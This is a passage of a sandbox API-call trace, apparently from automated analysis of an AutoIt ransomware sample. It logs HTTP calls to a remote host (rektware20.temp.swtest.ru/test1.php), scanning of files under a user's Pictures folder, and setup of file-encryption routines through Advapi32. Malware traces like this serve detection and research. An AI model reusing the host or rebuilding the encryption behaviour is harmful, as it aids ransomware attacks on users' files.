dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.337] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.337] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.338] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.338] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.338] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.338] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.338] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.338] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.339] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.339] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.339] CloseHandle (hObject=0x0) returned 0 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cLrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LrToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ToNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oNcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NcFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cFTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FTUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TUS u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="US u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DnYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nYu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yu.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.341] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.341] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.341] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.341] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.341] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.341] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.341] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.341] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.341] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0061.341] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.341] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.341] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.342] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.342] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.342] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.342] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.342] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629350, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629350*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.342] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.343] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.343] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.343] CloseHandle (hObject=0x0) returned 0 [0061.343] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.343] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0061.343] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.343] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.343] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.343] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.343] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.343] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.343] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.343] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.344] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.344] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.344] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.344] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.344] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.344] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.344] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.344] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.345] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.345] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0061.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.345] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.345] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.345] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.346] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.346] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.346] 